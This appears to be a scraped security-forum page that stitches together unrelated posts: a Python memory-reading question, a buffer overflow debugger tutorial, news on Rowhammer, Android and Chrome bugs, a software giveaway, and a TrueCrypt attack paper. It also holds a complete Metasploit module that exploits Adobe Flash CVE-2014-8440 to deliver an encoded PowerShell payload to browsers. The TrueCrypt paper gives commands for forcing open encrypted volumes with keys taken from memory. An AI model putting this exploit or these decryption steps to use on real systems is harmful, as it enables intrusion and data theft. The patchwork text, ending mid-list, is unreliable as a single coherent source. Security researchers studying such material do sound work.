Search the Community

Neata. address = 0x0018FB54 address = address + 0x14 address = address + 0x0 address = address + 0x7 ReadProcessMemory(processHandle, address, buffer, bufferSize, byref(bytesRead)) Se rupe filmul la acel "0x0" , prin urmare nu reusesc sa completez pointerul. Am luat la puricat documentatia python cat mi-a permis experienta pana in prezent, am rupt stackoverflow, am cautat si pe rst si nu gasesc un exemplu viabil sa accesez un amarat de pointer. Am invartit variabila aia de am innebunit, de ieri ma chinui intruna. Am luat cateva snipetturi de cod C++ si le-am transcris in python insa nu faceau obiectul problemei prezentate mai sus, ci ma aducea intr-un punct in care am mai fost, sa inaintez cu 2-3 offset-uri asta daca vreun offset nu echivala cu decimal mai mare de 99 (de ex am avut offset +444 (1BCh) si iar s-a rupt filmul ca la 0x0, nu schimba cu nimic rezultatul final oricate offset-uri ii mai adaugam dupa acel +444. Provocarea principala este ca vreau sa pot manevra un proces la fel de usor si rapid prin cod Python nu C++ (am fix pe creier) si inafara de impedimente de astea stupide nu am avut nici o dilema pana in prezent care sa ma retina mai mult de 6-7 ore pana sa gasesc o rezolvare. Sistem de operare: Windows 7 x64 Aplicatiile pe care exersez: x32 Multumesc anticipat.

It is a new tool for analysis of Windows executable files, in order to quickly identify if this is or is not a malware. Most analyzes are based on the extraction of strings "ANSI" and "UNICODE" in disk, but also works with "Memory Dumps". Obviously, the latter option might compromise the security of your computer when you run the samples, so it's recommended make this in laboratory systems. Download https://docs.google.com/uc?id=0B74kMAGqImI9R1o4Q2Z1X054cjA

Buffer overflow is a very common and widely known software security vulnerability. It is a condition which occurs when more data is written into a block of memory (buffer) than it is allocated to hold. As buffers are created to hold a definite amount of data, the excess information stored gets overflowed to the adjacent buffers, causing overwriting or damaging the valid data which is already stored. In order to exploit buffer overflow, one should have basic knowledge about topics like stacks, CPU registers, memory allocation, etc. As it is a very vast topic in itself, in this article we will try to understand the basics of the Stack Based Buffer Overflow. First of all, we will create a simple C program and cover the basics, like how the program runs in the memory, how the function call takes place, what is the return address, etc. So let’s start with the basics. A stack is a continuous block of memory which is used to store the temporary data within your program. The stack works on a Last in First out (LIFO) basis. PUSH and POP are the two working functions in which PUSH is used to put data into the stack and POP is used to remove the data from the stack, and it grows downwards towards lower memory addresses to higher memory addresses on Intel based systems. In Intel 32 bit architecture the maximum data size would be 4 bytes, which is equal to 32 bits for each PUSH and POP operation. Basically, the stack holds following types of data of the program. Argument to the Function Calling Function Address Return Address Local Variable and couple of other things. We will see each of them in detail further in this article. Before that, let us install some tools needed for the practical session. Here, we are using the following setup. We have configured Windows XP Service Pack 2 on Virtual Machine. Immunity Debugger (We can download it by searching Google or we can by clicking on the URL which is given in the references at the end of the article.) Dev C ++ (We can download the tool by clicking the form below.) Download Note: We are assuming that you have configured the required tools and have basic knowledge about assembly language. First of all, we will start looking at the things like function call in the memory and return address etc. from the very starting stage. We have already written a simple C program in which we have defined a function which is called from the main program. The EXE file and source code of the program are given at the end of the article. We can download the EXE and the source code of the files by clicking the URL given at the end of the article. Let’s have a look at the source code of the program so that we can understand the basic concepts. As seen in the above screen shot, we have written a simple program in which we have defined some local variables; after that we have called a function with one argument value. Then, we defined the function which will print the message – “Function is called”, then we returned value 1 to the main program. After compiling the program, we will open the program with Immunity Debugger. We can open the program by clicking the file menu or dragging the .exe file into the debugger. After that, we will see the following type of code on the screen. Now, we can see four sections on the screen. Each section represents a different type of CPU processing stat. Each section is defined below. In this section, we can see the de-assemble output of the .exe file. This section gives the information about various registers and their values. We can see the various type of registers and their values in the above screen. In this section, we can see the memory dump of the program. We can see what type of data has been written by the program into the memory. We can also edit these values dynamically according to the requirement. This is the most important part: it shows the stack status of the program. If we closely look into the screen we can see ‘paused’ written in the right corner of the window. This means that after opening the program with the debugger, the debugger has paused the program, so we will have to start the program manually. Now let’s start our analysis. The first step is to identify the main function and the other functions we have defined in the program, which are then loaded into the computer memory. If we scroll down in the first area, which is the de-assemble output of the program, we can see the ASCII main function with the EXE name and another function with the assembly language code. In our case the EXE file name was First.exe so we can see the same on the screen with some extra value. In the above screenshot we have pointed to some numbers. These numbers are defined in the below section for better understanding. This is the main function in the assembly language. We can see it in the screenshot name “First.xxxxx ASCII “Main Function””. In this case, First.xxx is the name of the .exe file we have loaded into the debugger. In the left hand side, we can see the memory address according to each assembly instruction. This is basically the physical memory address of the instruction. 00401290 is the address in our case in which the program has been started. And 004012DA is the address (in our case) in the memory where the program has finished. It is the function call from the main program. This line is basically calling the function which we have defined in the C program. When we closely look at the main function call, we can see that it is calling the “First.004012D3? in which the last 8 digits are the address of the function which will be called. In the end, we can see the function loaded into the memory, which is printing the value “Function is called” through the printf function, which has been called from the program. The function has started by pushing the EBP register into the stack. In our case, the starting address of the function is “004012DE”, and the function completion address is “004012FE”. Both the addresses can be seen in the above screenshot. It is the most important part, as we will see how we can define the break point in the program. A break point helps us to freeze the program at that location and allows us to analyse things like register status, stack and frame pointer. It also allows us to change the values dynamically. So, let us create a break point just before the function call. We can set the break point by selecting the row by just clicking on it and pressing F2 for creating the break point. As shown in the above screenshot after creating the break point, the row has been highlighted. Now, we need to start the program. We can do it by hitting the F9 key. We will see some changes in the numbers on the screen. In the above screenshot we can see that the stack value has been changed and the register value has also been changed. Another interesting thing is the EIP register which holds the value at which we had set the break point. Now, we will have to use two options. Step Into Step Over Step Into: when we want to execute the next instruction after creating the break point, then we will have to use Step Into. The keyboard shortcut key for Step Into is F7. Step Over: Sometimes we do not want to get into the details of the function call, so in such situations we can use Step Over. The keyboard shortcut key for Step Over is F8. Now, we have to go to the next instruction, so press the F7 key as mentioned in the above step. Let us analyse the stack now. As shown in the above screenshot, nothing interesting is showing in window no 4, but we can see in window no 1 that the next instruction has been executed, and the next instruction address has been assigned into the EIP register in window no 2. We will execute the next instruction by pressing the F7 key. After this step, the screen will look like this: We can see that the next instruction has been executed and we can see lots of changes in the screen. First of all, we have noticed that the instruction executed controller has reached the address given in the previous call function. This is visible in window no 1. When we closely look into window no 4, at the top of the stack we can see the address 004012D4, which is the return address to the main program. It means after the function execution has completed, by using this address the counter will go to the main program and the program execution gets completed. So in this article we have learned… Analysing the Stack Creating the Break Point Analysing the Function Call and Register Status. References IMMUNITY : Knowing You're Secure https://www.owasp.org/index.php/Buffer_Overflows Buffer overflow - Wikipedia, the free encyclopedia Stack buffer overflow - Wikipedia, the free encyclopedia http://www.bloodshed.net/dev/devcpp.html Source

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory', 'Description' => %q{ This module exploits an unintialized memory vulnerability in Adobe Flash Player. The vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, which fails to initialize allocated memory. When using a correct memory layout this vulnerability leads to a ByteArray object corruption, which can be abused to access and corrupt memory. This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 15.0.0.189. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nicolas Joly', # Vulnerability discovery 'Unknown', # Exploit in the wild 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2014-8440'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-24.html'], ['URL', 'http://malware.dontneedcoffee.com/2014/11/cve-2014-8440.html'], ['URL', 'http://www.verisigninc.com/en_US/cyber-security/security-intelligence/vulnerability-reports/articles/index.xhtml?id=1081'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :os_name => OperatingSystems::Match::WINDOWS_7, :ua_name => Msf::HttpClients::IE, :flash => lambda { |ver| ver =~ /^15\./ && ver <= '15.0.0.189' }, :arch => ARCH_X86 }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Nov 11 2014', 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) b64_payload = Rex::Text.encode_base64(psh_payload) html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-8440', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end Source

Google is prepping a fix for Android users that addresses a meddlesome memory leakage issue that’s plagued some device users since the end of last year. The issue, present in versions 5.0.1 and 5.1 of the mobile operating system code-named Lollipop, has been causing irregular application activity on several Nexus devices for weeks. In some instances, users have apparently experienced issues launching apps and seen apps randomly restarting, often without opening or changing any application. The most prevalent issue users have witnessed has been a massive surge in memory usage. On an issue tracker for the for the bug on Android’s Open Source Project (AOSP) late last week some users reported seeing their RAM bloat to over 1 gigabyte and leave as little as 150 megabytes free, before their phones ultimately crashed. Users claim they’ve seen their phone’s system memory swell, usually after opening a game, then dismissing it. Even if apps are closed however, the phone will go on to gobble up memory until there’s no more space and the device stops responding. The issue – mostly seen in Nexus 5 devices – has lingered since December 2014, when Google pushed 5.0.1 to Nexus devices, but resurfaced in 5.1, which was rolled out last week. “Memory leak not fixed,” one user wrote on AOSP last week, “I’ve had system RAM bloated over 1GB, processes restarting and launcher redraws.” The issue was closed at Android’s Issue Tracker on Friday when a Google project member acknowledged the issue had been “fixed internally,” but added that the company did not have a timetable for public release. The bug’s status was also changed from “New” to “FutureRelease” on Friday, suggesting a fix is forthcoming, perhaps in 5.1.1, but emails to Google inquiring exactly when that fix would come were not immediately replied to on Monday Android’s security team has been busy over the past several months addressing issues that have popped up in Lollipop. In November it fixed a vulnerability that could have allowed an attacker to bypass ASLR and run arbitrary code on a target device under certain circumstances. In January the company took some heat for not fixing a bug in the WebView component of the OS on Jelly Bean 4.3, or older. Security engineers for Android later clarified that the issue would really be best fixed by OEMs and that it’s not practical for Google to push patches for older vulnerabilities. Source

In one of more impressive hacks in recent memory, researchers have devised an attack that exploits physical weaknesses in certain types of DDR memory chips to elevate the system rights of untrusted users of Intel-compatible PCs running Linux. The technique, outlined in a blog post published Monday by Google's Project Zero security initiative, works by reversing individual bits of data stored in DDR3 chip modules known as DIMMs. Last year, scientists proved that such "bit flipping" could be accomplished by repeatedly accessing small regions of memory, a feat that—like a magician who transforms a horse into a rabbit—allowed them to change the value of contents stored in computer memory. The research unveiled Monday showed how to fold such bit flipping into an actual attack. "The thing that is really impressive to me in what we see here is in some sense an analog- and manufacturing-related bug that is potentially exploitable in software," David Kanter, senior editor of the Microprocessor Report, told Ars. "This is reaching down into the underlying physics of the hardware, which from my standpoint is cool to see. In essence, the exploit is jumping several layers of the stack." Getting hammered DDR memory is laid out in an array of rows and columns, which are assigned in large blocks to various applications and operating system resources. To protect the integrity and security of the entire system, each large chunk of memory is contained in a "sandbox" that can be accessed only by a given app or OS process. Bit flipping works when a hacker-developed app or process accesses two carefully selected rows of memory hundreds of thousands of times in a tiny fraction of a second. By hammering the two "aggressor" memory regions, the exploit can reverse one or more bits in a third "victim" location. In other words, selected zeros in the victim region will turn into ones or vice versa. The ability to alter the contents of forbidden memory regions has far-reaching consequences. It can allow a user or application who has extremely limited system privileges to gain unfettered administrative control. From there, a hacker may be able to execute malicious code or hijack the operations of other users or software programs. Such elevation-of-privilege hacks are especially potent on servers available in data centers that are available to multiple customers. The vulnerability works only on newer types of DDR3 memory and is the result of the ever smaller dimensions of the silicon. With less space between each DRAM cell, it becomes increasingly hard to prevent one cell from interacting electrically with its neighbors. By repeatedly accessing one or more carefully selected memory locations, attackers can exploit this volatility, causing the charge to leak into or out of adjacent cells. With enough accesses, the technique can change the value of a cell. The attack doesn't work against newer DDR4 silicon or DIMMs that contain ECC, short for error correcting code, capabilities. Mark Seaborn, described as a "sandbox builder and breaker," along with reverse engineer Thomas Dullien, developed two "rowhammer" exploits that, when run as unprivileged processes, were able to gain kernel privileges on an x86-64 Linux system. The first exploit ran as a Native Client module on top of Google Chrome. Once Google developers became aware of the exploit, they disallowed the CLFLUSH instruction that's required to make the exploit work. The second exploit, which ran as a normal Linux process and gained access to all physical memory, will be harder to mitigate on existing machines. There are other things that made the exploits impressive. Irene Abezgauz, a product VP at Dyadic Security and an experienced penetration testing professional, told Ars: The attackers didn't identify the specific models of DDR3 that are susceptible to the attack. While their proof-of-concept exploits targeted a Linux computer running x86-64 hardware, the same technique would likely work against a variety of platforms. The results are impressive, but for a variety of reasons right now, the attacks appear to be more theoretical than practical. For one, the attack appears to allow only local, rather than remote, exploitation, a limitation that significantly curtails its appeal to real-world hackers. And for another, bit flipping works only against certain pre-determined rows. What's more, rowhammering requires more than 540,000 memory accesses in just 64 milliseconds. Unless refinements are made, the demands could make it impractical for attackers to use the technique to reliably hijack a system. Bit flipping shouldn't be mistaken as a class of memory corruption exploit, such as a buffer overflow or a use-after-free, both of which allow attackers to funnel malicious shell code into protected regions of a computer. Rowhammering, by contrast, allows for escalation of privileges, which while serious, is a much more nuanced type of incursion. Rob Graham, CEO of Errata Security, published this blog post that details additional challenges and technical details. Still, the ability to exploit physical weaknesses in the hardware is a highly novel type of attack that breaks new ground and may not be easy to remedy. "This is not like software, where in theory we can go patch the software and get a patch distributed via Windows update within the next two to three weeks," Kanter, of the Microprocessor Report, said. "If you want to actually fix this problem, we need to go out and replace, on a DIMM by DIMM basis, billions of dollars' worth of DRAM. From a practical standpoint that's not ever going to happen." Source

Rowhammer: NaCl Sandbox Escape PoC Rowhammer: Linux Kernel Privilege Escalation PoC Software, from web apps, to operating systems to firmware, has been abused and exploited every which way from Sunday for decades by both researchers and attackers. Now, it is hardware’s turn in the spotlight, as researchers have published details of a new method for exploiting a problem with some DRAM memory devices that can allow attackers to get low-level access to target machines. The problem is being called “rowhammer”, as it’s a method for repeatedly hammering on rows of cells of memory in DRAM devices to induce cells to flip from one state to another. Using a new technique to exploit the rowhammer issue, researchers at Google were able to produce these bit flips in cells and gain kernel-level privileges. Security researchers say the technique is some of the more important work done on exploitation in recent years and could affect a huge number of laptops and desktop machines. “[it] is a brilliant attack and because it’s a hardware flaw, there are really no ways to patch it,” said Alfredo Ortega, a longtime security researcher and co-founder of Groundworks Technologies. Researcher Mark Seaborn on Monday published a detailed technical explanation of techniques to exploit the rowhammer issue, which was described earlier in an academic paper by researchers from Intel and Carnegie Mellon University. The basic concept behind rowhammer relies on the fact that the cells of memory on DRAM devices have become closer and closer together over time, meaning that it has become more difficult to prevent electrons from jumping from one cell to another. By accessing target cells in DRAM over and over again, an attacker can disturb a cell adjacent to the target cells, causing it to “bit flip” under some circumstances. “‘Rowhammer’ is a problem with some recent DRAM devices in which repeatedly accessing a row of memory can cause bit flips in adjacent rows. We tested a selection of laptops and found that a subset of them exhibited the problem. We built two working privilege escalation exploits that use this effect. One exploit uses rowhammer-induced bit flips to gain kernel privileges on x86-64 Linux when run as an unprivileged userland process,” Seaborn wrote in his post. “When run on a machine vulnerable to the rowhammer problem, the process was able to induce bit flips in page table entries (PTEs). It was able to use this to gain write access to its own page table, and hence gain read-write access to all of physical memory.” Seaborn tested his technique on 29 different machines with several different CPUs and DRAM from several vendors and observed a bit flip in 15 cases. However, he stressed that the lack of an observed bit flip does not mean that the DRAM isn’t necessarily exploitable. “While an absence of bit flips during testing on a given machine does not automatically imply safety, it does provide some baseline assurance that causing bit flips is at least difficult on that machine,” Seaborn said. Ortega said that the new technique is effective thanks to the way that DRAM devices are designed now. “Modern memory is flawed, vendors cut corners a lot to save power and make cheap tiny chips, so if you access too quickly a section of it, or if you turn on and off a memory cell too quickly, the adjacent memory cells will also be affected,’ he said. “The trick is to find a memory cell that stores something important and that you cannot access for security reasons, for example a memory cell storing a password, or file permissions, and then flip a cell next to it. Eventually the memory cell will flip, even if you don’t have access to it.” Mitigating rowhammer attacks is possible, Seaborn said. For example, manufacturers can make sure that when a system refreshes DRAM memory that it doesn’t activate a given row too often without also refreshing nearby rows. The rowhammer issue is not unknown to DRAM manufacturers, as some of them may already have implemented some mitigations. “Looking backward, had there been more public disclosures about the rowhammer problem, it might have been identified as an exploitable security issue sooner. It appears that vendors have known about rowhammer for a while, as shown by the presence of rowhammer mitigations in LPDDR4. It may be that vendors only considered rowhammer to be a reliability problem,” Seaborn said. Security researcher Dan Kaminsky, chief scientist of White Ops, said that the attack is effective in a surprising number of cases. “This sort of bug fills memory — the grand collection of buckets in your computer — with lots and lots of areas where checks for God like power depend on the bucket being empty. Then it shakes specially chosen buckets — ‘aggressor buckets’ — to try to leak a 1 into all those 0’s. And on a surprising amount of hardware, it works,” Kaminsky said via email. However, one good defense against the attack is the use of ECC memory, which has extra bits to help correct errors. ECC is more expensive, though, and mainly is used in servers rather than laptops and desktops, said researcher Robert Graham of Errata Security. “The biggest threat at the moment appears to be to desktops/laptops, because they have neither ECC memory nor virtual machines. In particular, there seems to be a danger with Google’s native client (NaCl) code execution. This a clever sandbox that allows the running of native code within the Chrome browser, so that web pages can run software as fast as native software on the system. This memory corruption defeats one level of protection in NaCl. Nobody has yet demonstrated how to use this technique in practice to fully defeat NaCl, but it’s likely somebody will discover a way eventually,” Graham said. The new techniques, Seaborn said, are a good example of why manufacturers and researchers should be paying close attention to hardware vulnerabilities. “History has shown that issues that are thought to be “only” reliability issues often have significant security implications, and the rowhammer problem is a good example of this. Many layers of software security rest on the assumption the contents of memory locations don’t change unless the locations are written to,” he said. “Though the industry is less accustomed to hardware bugs than to software bugs, we would like to encourage hardware vendors to take the same approach: thoroughly analyse the security impact of ‘reliability’ issues, provide explanations of impact, offer mitigation strategies and — when possible — supply firmware or BIOS updates. Such discussion will lead to more secure hardware, which will benefit all users.” Source

Have you been wondering how to speed up your computer? Cacheman (short for Cache-manager), the award-winning Windows optimizer, offers you a multitude of ways to speed up your computer. Cacheman has been developed with novice, intermediate, and expert users in mind. Immediately after installation, Cacheman examines your computer and automatically tweaks a vast number of cache settings, Registry values, system service options, and PC memory parameters. But this is only the start. Cacheman then continues to work quietly in the background, in order to speed up your computer even more by managing computer memory (RAM), program processes and system services. Cacheman makes sure that the active application gets the maximum possible processing power and available system memory. Cacheman also includes a special optimization for computer games, to prevent slow downs, lag, and stuttering caused by system tools like anti-virus programs. This giveaway has no free updates or free tech support and is for home/personal use only. Get Cacheman with free lifetime upgrades to get free updates, free tech support, and business or home use. Sale ends in 1 day 19 hrs 58 mins Link: Free Cacheman (100% discount)

The need to defend confidentiality of our sensitive information against persistently rising cyber threats has turned most of us toward using encryption on a daily basis. This is facilitated by easy-to-use GUI tools like TrueCrypt that offer advanced encryption without hassles. TrueCrypt offers ‘on-the-fly’ encryption, which means we do not have to wait for large files to decrypt after entering the correct passphrase; files are immediately accessible. Many of us have come to trust TrueCrypt to defend extremely sensitive personal and business secrets. However, there is no such thing as absolute security. Vulnerabilities always exist, and in this paper we look at some of the ways in which TrueCrypt security can be “beaten”. Please note that these attacks may not target a flaw in TrueCrypt itself, but rely on ‘bypassing’ TrueCrypt security or taking advantage of user negligence. This paper seeks to address TrueCrypt users who wish to understand known attacks against TrueCrypt, and forensics analysts who are interested in defeating TrueCrypt during the course of criminal investigations. Downloads: Evil Maid USB image Memory image and encrypted TrueCrypt volume Tools Used: TrueCrypt 7.1 (source code) Truecrack Unprotect Inception Volatility Aeskeyfinder Bulk Extractor\ Known Attacks against TrueCrypt In this paper, we will progress via attacks that are easily understood, and move toward attacks that require advanced understanding of TrueCrypt functionality and encryption systems. Dictionary Attacks The concept of a dictionary attack is simple. We sequentially try all entries in a dictionary file as potential passphrases until we succeed. However, there are obvious downsides to this approach. Most users who are using TrueCrypt to protect their sensitive information are smart enough to use complicated passphrases that would not be found in dictionaries. Also, this attack can get very time-consuming, depending on the size of the dictionary selected. Here, we use a tool called ‘truecrack’ to implement a dictionary attack on a protected TrueCrypt volume. We created a dummy dictionary with 7 phrases, the last of which was the correct passphrase [Figure 1]. Figure 1 Note: Such dictionary attacks on TrueCrypt are incredibly slow, since it uses the Password-Based Key Derivation Function 2 (PBKDF2) that is meant to slow down the password cracking process using key stretching. Brute Force Attacks Brute force attacks deploy a similar concept to dictionary attacks, except here every possible combination of characters is tried from a pre-determined set. To simulate a brute force attack on a TrueCrypt volume, we used the tool ‘unprotect.info’. First, we point it to the encrypted volume [Figure 2]. Figure 2 Next, we set the parameters to be used while implementing the attack [Figure 3]. These parameters will determine the total number of possible combinations. Note that we set the password to the encrypted volume as ‘haha’—a simple combination of 4 characters—to save time during experimentation. Figure 3 For example, in this case we knew the password to be 4 characters long and having all lower case characters. We set the parameters accordingly which gave us a total of (26*26*26*26) =456976 possible passphrases [Figure 4]. Figure 4 The tool sequentially tried all possible combinations until it got to the correct passphrase, which was then displayed to us [Figure 5]. Figure 5 As with dictionary attacks, PBKDF2 used in TrueCrypt would considerably slow down the brute force attacks. DMA Attacks DMA (Direct Memory Access) is used to acquire control of the RAM via the FireWire port. The attacker can then take a full memory dump even if a computer is locked or logged off. If the protected TrueCrypt volume is mounted while the memory dump is taken via a FireWire port, the resulting image would contain the cryptographic keys needed to decrypt and mount the TrueCrypt volume (as explained later in this paper). ‘Inception’ is a free tool that allows one to perform a FireWire attack. The best mitigation against this attack is to simply disable the FireWire drivers in the Operating System and render the port non-functional. Bootkit Attacks Rootkits are a form of advanced malware that facilitate stealthy deployment and operation of programs on a system. Bootkits are variants of rootkits that infect the Master Boot Record (MBR) or a boot sector Wik1. In case full disk encryption is being used, such bootkits are capable of manipulating the original bootloader and replacing it with an infected copy. Such an attack was implemented by researchers Alex Tereshkin and Joanna Rutkowska Ale2. This “evil maid” attack drew attention to the need for physical security of the device that holds the encrypted TrueCrypt volume. The idea is that even if the user is protecting his sensitive information using full disk encryption, the MBR itself is not encrypted and can be infected. Hence, if an attacker can boot your computer using a USB stick, he can overwrite the original bootloader and insert a type of “sniffer” that would “hook” a TrueCrypt password function and save the passphrase the next time the volume is mounted. This passphrase is then extracted by the attacker at a later time. Note: If you wish to replicate this experiment, you would need a copy of the Evil Maid infector image (see Downloads above), and a device that is using full disk encryption. Also note that it is best to use TrueCrypt 6.3a during this test since Evil Maid is no longer updated and is known to corrupt the bootloader when used against TrueCrypt 7.1a. Cached Passphrase Attacks Cached passphrases allow automatically mounting containers without requiring the user to enter the passphrase every time. This cached passphrase is located in ‘TrueCrypt.sys’. In case the user has explicitly told TrueCrypt to ‘cache’ passphrases [Figure 6], an attacker could locate this passphrase in a memory dump. Volatility framework provides a plugin called ‘TrueCryptpassphrase’ especially for the retrieval of cached passphrases from memory. Note that once the attacker has access to the passphrase, he would not need to know the details of the encryption algorithm used or the cryptographic keys. Figure 6 Decrypting and Mounting a TrueCrypt Volume using Cryptographic Keys Extracted from Memory Analyzing the Protected TrueCrypt Volume The first thing we need to do is make sure that we are, in fact, dealing with an encrypted TrueCrypt volume. TrueCrypt volumes are identified based on certain characteristics such as sizes that are multiple of 512 (block size of cipher mode), missing headers, etc. Volatility framework offers a ‘TrueCryptsummary’ plugin that can be used to locate information germane to TrueCrypt within our memory image [Figure 7]. Figure 7 Looking at the results, we know that TrueCrypt 7.0a was being used on the system and the protected volume was mounted while the memory was dumped. Also, we notice that ‘ppp.challange.vol’ is the TrueCrypt container. Understanding Cryptographic Keys TrueCrypt provides ‘on-the-fly‘ encryption, which means that the cryptographic keys have to be loaded in memory at all times while the protected TrueCrypt volume is mounted. By default, TrueCrypt uses AES encryption along with XTS, and the 256 bit primary and secondary keys are concatenated together to form one master key of 512 bits. You may search for these keys on RAM (system memory) or ‘hiberfile.sys’ (a file created during hibernation). Here, it is important to note that hiberfile.sys can only be expected to contain the keys if the protected TrueCrypt volume was mounted while the system went into hibernation. In case the protected volume was dismounted during hibernation, it is futile to look for the cryptographic keys on the RAM dump or hiberfile.sys. The keys are not stored on disk due to obvious security concerns Mic3. Searching for Cryptographic Keys in Memory Before we can extract keys from memory, we need to identify them. One approach is to attempt decryption of known plaintext using every possible combination of bytes. However, in the presence of bit errors in memory, this approach gets highly convoluted JAl084. Another approach is to cycle through each byte in memory and to treat the following block of a certain size as a key schedule. Then, a hamming distance is calculated pertaining to this word and the word that should have been generated based on surrounding words. If the number of bits that violate constraints germane to correct key schedule is small, the key is discovered JAl084. ‘Aeskeyfind’ implements this approach, and we use it to search for AES keys in our memory image [Figure 8]. Figure 8 Alternatively, you can use ‘bulk extractor’ to locate keys in memory [Figure 9]. Note that this tool also locates other information in memory such as emails, IP addresses, URLs, etc.\ Figure 9\ Figure 10 Figure 11 At this point, we know the two 256 bit primary and secondary AES keys and we can use these to mount the protected volume. However, we first need to fake a header. Faking a TrueCrypt Header Since we do know the actual passphrase pertaining to the protected volume, we will create a template containing a known passphrase and copy this to the protected volume. Later, we can use this known passphrase and the extracted AES keys to mount or decrypt the protected volume. ./TrueCrypt –text –create –encryption=aes –filesystem=FAT –hash=RIPEMD-160 –password=pranshu –random-source=/dev/random –size=33600000 –volume-type=normal anothvol Figure 12 Here, we are using TrueCrypt in ‘text’ mode to create a volume with default AES encryption, RIPEMD-160 hash, and a FAT file system. Please note that the size of the encrypted volume is 33.6 MB or 33600000 bytes. We need this TrueCrypt volume (with known password) to be of the same size [Figure 12]. In order to copy header information from this volume to the protected volume, we use ‘dd’ [Figure 13]: dd bs=512 count=1 conv=notrunc if=/root/TrueCrypt/Main/anothvol of=/root/ppp.challenge.vol Figure 13 Hard Coding Keys into TrueCrypt Source Code We now need to “patch” TrueCrypt so that it accepts the discovered AES keys. Here, we have patched TrueCrypt 7.1 (see Downloads above). For this purpose, we modify the ‘VolumeHeader.cpp’ file and hard code the AES keys in there Mic15 [Figure 14]. Figure 14 Now, we compile this modified source code and attempt to mount the protected volume using the known password [Figure 15]. ./TrueCrypt –text –mount-options=readonly –password=pranshu /root/ppp.challenge.vol /mnt/pranshu Figure 15 We have successfully mounted the protected TrueCrypt volume at ‘/mnt/pranshu/’ using the known password and hard coded AES keys. We can now view the sensitive file inside the volume [Figure 16]. Figure 16 Conclusion The purpose of this paper—like many researchers who studied and implemented attacks on TrueCrypt—is to make a TrueCrypt user aware of what protection is truly being offered. A false sense of security is highly perilous. For instance, it is imprudent to neglect physical security of the device while using TrueCrypt lest you fall prey to a bootkit attack or a DMA attack. On the other hand, keeping the protected volume mounted at all times, or for extended periods, increases the likelihood of getting cryptographic keys stolen from memory. Note that we have intentionally avoided discussing any commercial recovery software in this paper. As of this writing, there is a vague warning on TrueCrypt website that apprises users of “security issues” in TrueCrypt. There is no detailed information on this warning yet, however, if you wish to pay heed to it, you may use ‘Veracrypt’ as an alternative to TrueCrypt. References [1] Wikipedia. [Online]. http://en.wikipedia.org/wiki/Rootkit#Bootkits [2] Joanna Rutkowska Alex Tereshkin. The Invisible Things Lab’s blog. [Online]. http://theinvisiblethings.blogspot.com/2009/10/evil-maid-goes-after-TrueCrypt.html [3] Michael Ligh. Volatility Labs. [Online]. http://volatility-labs.blogspot.com/2014/01/TrueCrypt-master-key-extraction-and.html [4] Seth D. Schoen, Nadia Heninger, William Clarkson, Joseph A. Calandrino, Ariel J. Feldman, Jacob Appelbaum, Edward W. Felten. J. Alex Halderman, “Lest We Remember: Cold Boot Attacks on Encryption Keys,” in Proc. 17th USENIX Security Symposium (Sec ’08), San Jose, CA, 2008. [5] Michael Weissbacher. Michael Weissbacher. [Online]. http://mweissbacher.com/blog/2011/05/17/plaidctf-writeup-fun-with-firewire/ [6] Michael Ligh, “Mastering TrueCrypt: Windows 8 and Server 2012 Memory Forensics,” in Open Memory Forensics Workshop, 2013. Source

Google pushed out on Wednesday a new version of its Chrome browser (40.0.2214.91) and along with it paid out more than two dozen bounties, including 16 for memory corruption vulnerabilities. In all, 62 security vulnerabilities were patched, 17 of those considered high severity bugs by Google. Most of those high-severity vulnerabilities were memory corruption or use-after-free vulnerabilities in a number of Chrome components, including ICU, V8, FFmpeg and DOM. A researcher credited as cloudfuzzer cashed in with $12,000 worth of bounties, including three critical bugs. Another reporter known as yangdingning was awarded $9,000 for his finds. Here is the list of public vulnerabilities patched in Chrome 40. [$5000][430353] High CVE-2014-7923: Memory corruption in ICU. Credit to yangdingning. [$4500][435880] High CVE-2014-7924: Use-after-free in IndexedDB. Credit to Collin Payne. [$4000][434136] High CVE-2014-7925: Use-after-free in WebAudio. Credit to mark.buer. [$4000][422824] High CVE-2014-7926: Memory corruption in ICU. Credit to yangdingning. [$3500][444695] High CVE-2014-7927: Memory corruption in V8. Credit to Christian Holler. [$3500][435073] High CVE-2014-7928: Memory corruption in V8. Credit to Christian Holler. [$3000][442806] High CVE-2014-7930: Use-after-free in DOM. Credit to cloudfuzzer. [$3000][442710] High CVE-2014-7931: Memory corruption in V8. Credit to cloudfuzzer. [$2000][443115] High CVE-2014-7929: Use-after-free in DOM. Credit to cloudfuzzer. [$2000][429666] High 